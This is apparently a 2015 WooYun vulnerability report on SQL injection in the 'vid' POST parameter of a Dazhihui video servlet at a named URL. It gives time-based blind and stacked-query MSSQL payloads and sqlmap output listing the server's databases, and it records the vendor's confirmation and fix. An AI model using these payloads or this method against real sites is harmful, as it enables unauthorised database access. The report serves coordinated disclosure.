当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0106171

漏洞标题：大智慧某站存在SQL注入

相关厂商：上海大智慧

漏洞作者： 小邪

提交时间：2015-04-06 19:06

修复时间：2015-05-22 13:14

公开时间：2015-05-22 13:14

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-06： 细节已通知厂商并且等待厂商处理中
2015-04-07： 厂商已经确认，细节仅向厂商公开
2015-04-17： 细节向核心白帽子及相关领域专家公开
2015-04-27： 细节向普通白帽子公开
2015-05-07： 细节向实习白帽子公开
2015-05-22： 细节向公众公开

简要描述：

大智慧某站存在SQL注入

详细说明：

问题处：http://video.gw.com.cn/voideservlet?timestamp=1428290659451
POST下参数vid存在注入

operate=add&type=caijing&vid=3449

漏洞证明：

Place: POST
Parameter: vid
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: operate=add&type=caijing&vid=3449; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: operate=add&type=caijing&vid=3449 WAITFOR DELAY '0:0:5'--
---
[11:34:16] [INFO] the back-end DBMS is Microsoft SQL Server
back-end DBMS: Microsoft SQL Server 2005
[11:34:16] [INFO] fetching database names
[11:34:16] [INFO] fetching number of databases
[11:34:16] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y\
[11:34:29] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based payloads
[11:34:37] [INFO] adjusting time delay to 2 seconds due to good response times
[11:34:37] [ERROR] invalid character detected. retrying..
[11:34:37] [WARNING] increasing time delay to 3 seconds
5
[11:34:46] [INFO] retrieved: master
[11:36:07] [INFO] retrieved: model
[11:37:23] [INFO] retrieved: msdb
[11:38:16] [INFO] retrieved: shipin
[11:39:45] [INFO] retrieved: tempdb
available databases [5]:
[*] master
[*] model
[*] msdb
[*] shipin
[*] tempdb

修复方案：

RT

版权声明：转载请注明来源 小邪@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：3

确认时间：2015-04-07 13:13

厂商回复：

已通知具体的运维负责人处理。

最新状态：

2015-05-18：已修复